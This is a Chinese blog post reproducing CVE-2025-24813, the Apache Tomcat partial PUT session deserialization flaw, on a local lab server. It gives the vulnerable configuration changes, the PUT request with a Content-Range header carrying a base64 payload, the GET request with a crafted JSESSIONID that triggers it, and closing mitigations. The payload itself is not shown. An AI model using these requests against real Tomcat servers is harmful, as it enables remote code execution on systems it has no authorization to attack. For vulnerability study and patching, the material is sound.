❤️博客主页: iknow181
🔥系列专栏: 网络安全、 Python、JavaSE、JavaWeb、CCNP
🎉欢迎大家点赞👍收藏⭐评论✍

0x00 免责声明
本文所述漏洞复现方法仅供安全研究及授权测试使用;任何个人/组织须在合法合规前提下实施,严禁用于非法目的。作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。
0x01 漏洞描述
Apache Tomcat是由Apache软件基金会下属的Jakarta项目开发的Servlet容器。2025年3月,官方披露 CVE-2025-24813 Apache Tomcat partial PUT文件上传反序列化漏洞。
在 CVE-2025-24813 中在开启了PUT(默认关闭)的前提下,若同时开启了tomcat 持久化Session配置,攻击者可利用PUT上传文件,并构造恶意请求触发session文件反序列化,若同时有可利用gadget的情况下可能造成代码执行。
漏洞前置依赖条件较多,实际场景较为有限,需同时满足以下五个条件:
- 应用程序启用了DefaultServlet写入功能(默认情况下禁用)
- 服务器启用了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中(默认启用)
- 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件),需要额外配置
- 攻击者已知目标敏感文件的路径以及文件名
- 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库
0x02 漏洞影响范围
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
0x03 原理分析
Content-Range
在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。当文件上传未完成时,上传的内容会暂时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT
。该漏洞的关键在于处理不完整PUT请求时对文件名的处理机制:文件路径中的分隔符/
会被替换为.
。例如,访问路径/iknow/session
会被解析为.iknow.session
。
漏洞的利用过程如下:
-
Tomcat的File会话存储默认路径也位于:
$CATALINA_BASE/work/Catalina/localhost/ROOT
。 -
当存在反序列化利用链时,攻击者可以上传包含恶意序列化数据的文件。
-
通过设置
JSESSIONID=.xxxxx
来触发漏洞。
0x04 环境准备
下列地址均以本机apache-tomcat-9.0.97路径做示例
tomcat 下载地址:Index of /dist/tomcat/tomcat-9/v9.0.97/bin
1. 修改资源写入:
访问web.xml进行数据编辑
apache-tomcat-9.0.97\conf\web.xml
找到DefaultServlet 在下面增加一个redonly 设为false
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

2. 开启会话存储:
访问context.xml增加文件会话存储
apache-tomcat-9.0.97\conf\context.xml
添加下列配置开启文件会话存储
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>

3. 添加反序列化文件Commons Collections 3.2.1.jar
Commons Collections 3.2.1.jar 是一个 Java 类库文件,它属于 Apache Commons Collections 项目,因此需要新建个lib目录。进入下列路径
apache-tomcat-9.0.97\webapps\ROOT\WEB-INF\
新增lib文件夹并放入调用链jar包
调用链地址:
http://gitlab.53site.com/shuzhan/oss/-/raw/master/lib/commons-collections-3.2.1.jar?ref_type=heads

4. 完成后重启tomcat使配置生效

0x05 漏洞复现
1.调用链构建
调用K1链生成发序列化数据

2.构建写入数据包
直接把生成的代码整个复制过去,因为生成的代码是经过base64编码的,所以发送的时候需要解码
成功状态码是409
PUT /ikonw/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{base64dec(payload)}}

执行后会在下列路径中生成对应的文件

3.触发文件
注意这里JSESSIONID保持与写入值一致
GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.iknow

此处需要注意,如果访问get请求返回码是200,说明失败了,请重新进行put请求
0x06 修复建议
- 临时防护措施
-
在不影响业务的前提下,用户可将conf/web.xml文件中的串口参数设置为true或进行注释
-
取消PUT方法并重新启动Tomcat服务使配置生效
-
将org.apache.catalina.session.PersistentManager设置为false
- 补丁修复
Apache基金会官方已发布漏洞公告,可下载补丁更新
https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq